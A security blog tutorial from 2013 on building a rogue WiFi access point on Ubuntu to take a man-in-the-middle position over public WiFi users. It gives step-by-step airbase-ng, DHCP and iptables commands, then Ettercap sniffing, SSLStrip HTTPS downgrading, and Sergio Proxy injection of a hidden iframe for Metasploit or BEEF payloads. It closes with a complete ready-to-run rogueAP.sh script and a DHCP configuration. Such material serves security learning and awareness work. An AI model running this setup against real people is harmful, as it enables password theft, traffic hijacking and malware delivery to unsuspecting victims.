You are here : Home » Learning security » Networks » Local Area Network » Rogue WiFi Access point

Rogue WiFi Access point

Setup Rogue AP for MITM using Ubuntu

D 5 November 2013     H 21:13     A Emeric Nasi     C 4 messages


agrandir

Note: In order to understand this document you need to know basic Linux administration and networking tools.
License : Copyright Emeric Nasi, some rights reserved
This work is licensed under a Creative Commons Attribution 4.0 International License.
Creative Commons License

I. Introduction.

I know that writing "yet another rogue AP tutorial" is not very challenging but after two years I want to start with fun stuff. Hopefully you can also learn one or two things here!

Note : The commands described in this article were tested on an XUbuntu 12.04 machine, it is easy to adapt them on another system.

II. Theory

II.1 Scenario

Imagine a public space, airport, hotel, etc. A crowd of people waiting, reading.. and using the public WiFi. Imagine one of the guys in the crowd has setup his own WiFi access point with a name like FreeWifi, HotelWifi or even the same name as the real public WiFi. How long will it be before a significant part of the audience connects to his access point? And what if his access point is in fact full of spying tools and other traps?

II.2 Man In the Middle

Man In The Middle attacks occurs when a malicious individual manages to master a point of communication between his targets. In our case we can control all the communication between the public space users and the Internet.
There are several ways to gent into Man In the Middle situation (MITM) ARP spoofing or DHCP spoofing for example. For more information on MITM ARP spoofing have a look at this page.
Another MITM type is to control a WiFi access point. All the clients connected to your access point have to pass trough the machine to access to the Internet. It is the same as controlling a router. This peculiar attack cannot allow to directly target someone, instead the attacker waits for people to connect themselves. However, if a special target is in WiFi range and in a public space there are some chances that he will connect to the rogue AP. Rogue access points can be used to steal password, hijack communications, inject malwares into the victims PC.
I personnaly also see a great interest in rogue AP as it is an easy way to enlighten non specialists on threats related to WiFi security and man in the middle issue.

III. Practice

III.1 Setup WiFi Access point

The tool we will use to setup a rogue access point is airbase-ng from Aircrack toolsuit. Aircrack is not by default in Ubuntu repository, if you want to get the latest version or to learn more about Aircrack have a look at http://www.aircrack-ng.org/

A prerequisite to use most Aircrack tools is to have a Wifi card which can be passed into monitor mode. I personally use an Alfa Awus using Realtek Rtl-8187 chipset.

Warning : RTL-8187 drivers are a big issue on Ubuntu as the default provided ones does not work properly (disconnections, invisible SSID with airbase, etc). To avoid these problems I recommend you install Aircrack patched drivers or drivers provided by globalsyzygy on his blog

Starting a rogue AP is pretty simple. First we put the interface we want in monitor mode using airmon-ng. In my case wlan1. You must not be using that interface to connect to any WiFi network.
airmon-ng start wlan1

Note : You might see warning about processes that could cause trouble (NetworkManager, wpa_supplicant, dhclient, etc). This issue has an impact when using other Aircrack tools such as airodum-no and aireplay-ng but in our case we can ignore it.

Next we use airbase to create a fake Access Point called "OpenWifi" on WiFi channel 6.
airbase-ng -e OpenWifi -c 6 mon0
At this point a network interface, at0, is created for the access point.

We will now configure a DHCP server to provide a dynamic IP address to people connecting to our access point.
We use the Ubuntu default dhcp server:
dhcpd -d -f -cf dhcpd_ap.conf at0 &
Here, we use a custom dhcpd configuration file that you can find in section IV.

You should see the WiFi SSID on the available network and you should be able to connect to it from, for example, your cellphone. However it cannot be used as an Internet access point for the moment.

III.2 Provide Internet access

To provide Internet access to your AP client you need to set up routing between your AP interface and your Internet interface. In my case my network interface is my laptop native WiFi card on Wlan0. You can also use Ethernet link, cellphone or any other network interface.
For that we must transform our computer into a router.

First we use ifconfig to set an IP address and a mask to our Access Point network interface.

ifconfig at0 up
ifconfig at0 192.168.3.1 netmask 255.255.255.0

Then, we add a route and indicate that our IP it the local network router for the access point.

route add -net 192.168.3.0 netmask 255.255.255.0 gw 192.168.3.1

Next we configure IPTable to accept routing:

iptables -P FORWARD ACCEPT
iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE

Finally we activate IP forwarding in the kernel:
echo "1" > /proc/sys/net/ipv4/ip_forward

III.3 Exploit MITM situation

At that point you can start your access point and be thus in MITM position between your AP clients and the Internet. Now you could use any tool you want to sniff, alter, or block the traffic. I am going to present three tools that can be used when in man in the middle situation.
Sniff the network using the famous Ettercap:
xterm -bg black -fg blue -e ettercap --silent -T -q -p --log-msg  ettercap.log -i at0 // // &
Here we launch an external Ettercap terminal, important sniffed information will be displayed on the terminal and write in the ettercap.log file. In our case we do not use ettercap MITM capacity since we are already in MITM situation.
Bypass HTTPS protection using SSLStrip. This tool is used to prevent the TLS tunnel to be made between the client and the website, instead the tunnel is made between the MITM attacker and the website, the victim only receives clear-text http information. For more information have a look at this site.
First we configure iptables to intercept HTTP traffic and redirect it to port 15000:

iptables -t nat -A PREROUTING -p tcp -i at0 --destination-port 80 -j REDIRECT --to-port 15000


Next we start SSLStrip listening on port 15000 and logging everything in SSLStrip_log.txt
sslstrip -w SSLStrip_log.txt -a -l 15000 -f &

Inject malicious HTML in the consulted web pages. For that I will use Sergio Proxy which is a very neet tool for MITM situation. Its embed SSLStrip and can allow to do all kind of injection and other attacks. You can find it here.
In my case I want to include an invisible iframe pointing on my PC on the clients browser. This attack can be used in conjunction with Metasploit, SET or BEEF to do all kind of attacks like displaying an applet that install a malicious payload, attack browser potential vulnerability, replace files downloaded by the AP client by malicious files, etc. HTML injection is very easy to use with Sergio Proxy.
As for SSLStrip we configure iptables to intercept HTTP traffic and redirect it to port 15000:
iptables -t nat -A PREROUTING -p tcp -i at0 --destination-port 80 -j REDIRECT --to-port 15000

Next we start Sergio Proxy with inject URL option that writes a size 0 IFRAME at the bottom of the two first pages visited by the AP client.

/opt/sergio-proxy/sergio-proxy.py -l 15000 --inject  --html-url "http://192.168.3.1/index" -w ${LOGS_PATH}/SSLStrip_log.txt -a -k --count-limit 2  &

IV. Complete scripts.

IV.1 Rogue AP script

Save the next script as rogueAP.sh

  1. #!/bin/bash
  2.  
  3. ############# Configuration constants ###########
  4.  
  5. LOGS_PATH="/home/me/tests/fakewifilogs/$(date '+%Y-%m-%d_%H-%M')"
  6.  
  7. OUTPUT_INTERFACE="wlan0"
  8. ROGUE_AP_INTERFACE="wlan1"
  9. ROGUE_AP_CHANNEL=6
  10. ROGUE_AP_SSID="OpenWifi"
  11. DHCPD_CONF_FILE="/etc/dhcp/dhcpd_ap.conf"
  12. USE_SSLTRIP="no"
  13. USE_ETTERCAP="yes"
  14. USE_SERGIO="no" # Note: incompatible with USE_SSLSTRIP (also launches its own SSL strip tool)
  15.  
  16. ###############################################
  17.  
  18. if [ "$1" == "stop" ];then
  19. echo "Killing Airbase-ng..."
  20. pkill airbase-ng
  21. sleep 3;
  22. echo "Killing DHCP..."
  23. pkill dhcpd
  24. rm /var/run/dhcpd.pid
  25. sleep 3;
  26. echo "Flushing iptables"
  27. iptables --flush
  28. iptables --table nat --flush
  29. iptables --delete-chain
  30. iptables --table nat --delete-chain
  31. if [ "$USE_SSLTRIP" == "yes" ]
  32. then
  33. echo "killing sslstrip"
  34. killall sslstrip
  35. fi
  36. if [ "$USE_ETTERCAP" == "yes" ]
  37. then
  38. echo "Kill all ettercap"
  39. killall -9 ettercap
  40. fi
  41.  
  42. if [ "$USE_SERGIO" == "yes" ]
  43. then
  44. echo "Kill sergio proxy"
  45. pkill -9 -f sergio-proxy
  46. fi
  47.  
  48. echo "disabling IP Forwarding"
  49. echo "0" > /proc/sys/net/ipv4/ip_forward
  50.  
  51. echo "Stop airmon-ng on mon0"
  52. airmon-ng stop mon0
  53.  
  54. elif [ "$1" == "start" ]
  55. then
  56. echo "Tools output stored in ${LOGS_PATH}"
  57.  
  58. mkdir -p "${LOGS_PATH}"
  59.  
  60. echo "Putting card in monitor mode"
  61. airmon-ng start $ROGUE_AP_INTERFACE
  62. sleep 5;
  63. echo "Starting Fake AP..."
  64. airbase-ng -e "$ROGUE_AP_SSID" -c $ROGUE_AP_CHANNEL mon0 &
  65. sleep 5;
  66.  
  67. echo "configuring interface at0 according to dhcpd config"
  68. ifconfig at0 up
  69. ifconfig at0 192.168.3.1 netmask 255.255.255.0
  70. echo "adding a route"
  71. route add -net 192.168.3.0 netmask 255.255.255.0 gw 192.168.3.1
  72. sleep 5;
  73. echo "configuring iptables"
  74. iptables -P FORWARD ACCEPT
  75. iptables -t nat -A POSTROUTING -o $OUTPUT_INTERFACE -j MASQUERADE
  76. if [ "$USE_SSLTRIP" == "yes" ]
  77. then
  78. echo "setting up sslstrip interception"
  79. iptables -t nat -A PREROUTING -p tcp -i at0 --destination-port 80 -j REDIRECT --to-port 15000
  80.  
  81. echo "SSLStrip running... "
  82. sslstrip -w ${LOGS_PATH}/SSLStrip_log.txt -a -l 15000 -f &
  83. sleep 2;
  84. fi
  85.  
  86. echo "clearing lease table"
  87. echo > '/var/lib/dhcp/dhcpd.leases'
  88.  
  89. cp ./dhcpd.conf $DHCPD_CONF_FILE
  90. echo "starting new DHCPD server"
  91. ln -s /var/run/dhcp-server/dhcpd.pid /var/run/dhcpd.pid
  92.  
  93. dhcpd -d -f -cf "$DHCPD_CONF_FILE" at0 &
  94. sleep 5;
  95. if [ "$USE_ETTERCAP" == "yes" ]
  96. then
  97. echo "Launching ettercap, spy all hosts on the at0 interface's subnet"
  98. xterm -bg black -fg blue -e ettercap --silent -T -q -p --log-msg ${LOGS_PATH}/ettercap.log -i at0 // // &
  99. sleep 8
  100. fi
  101.  
  102. if [ "$USE_SERGIO" == "yes" ]
  103. then
  104. iptables -t nat -A PREROUTING -p tcp -i at0 --destination-port 80 -j REDIRECT --to-port 15000 # Redirection de http vers port 15000
  105. echo "Starting segio proxy to inject javascript"
  106. /opt/sergio-proxy/sergio-proxy.py -l 15000 --inject --html-url "http://192.168.3.1/index" -w ${LOGS_PATH}/SSLStrip_log.txt -a -k & # --count-limit 2
  107. fi
  108.  
  109. echo "Enable IP Forwarding"
  110. echo "1" > /proc/sys/net/ipv4/ip_forward
  111.  
  112. else
  113. echo "usage: ./rogueAP.sh stop|start"
  114. fi

Download

This script must be launched as root and allows to start and stop your rogue access point.
Start AP:
sudo ./rogueAP.sh start

Stop AP:
sudo ./rogueAP.sh stop

IV.2 DHCP configuration

The next code describes the content of the DHCPS configuration file. This file must be called dhcpd.conf and must be located next to the rogueAP.sh script. When the rogueAP is started the DHCP file will be copied in /etc/dhcp/dhcpd_ap.conf.

  1. # using google dns servers
  2. option domain-name-servers 8.8.8.8, 8.8.4.4;
  3. default-lease-time 600;
  4. max-lease-time 7200;
  5. option T150 code 150 = string;
  6. deny client-updates;
  7. one-lease-per-client false;
  8. allow bootp;
  9. ddns-updates off;
  10. ddns-update-style none;
  11. authoritative;
  12.  
  13. # option particular to the Rogue AP network
  14. subnet 192.168.3.0 netmask 255.255.255.0 {
  15. interface at0;
  16. range 192.168.3.2 192.168.3.254;
  17. option routers 192.168.3.1;
  18. option subnet-mask 255.255.255.0;
  19. option broadcast-address 192.168.3.255;
  20. option domain-name-servers 8.8.8.8;
  21. allow unknown-clients;
  22.  
  23. }

Download

Also in this section

3 June 2010 – MITM arp-spoofing

2 June 2010 – The cookie factory

3 Forum posts

Any message or comments?
pre-moderation

This forum is moderated before publication: your contribution will only appear after being validated by an administrator.

Who are you?
Your post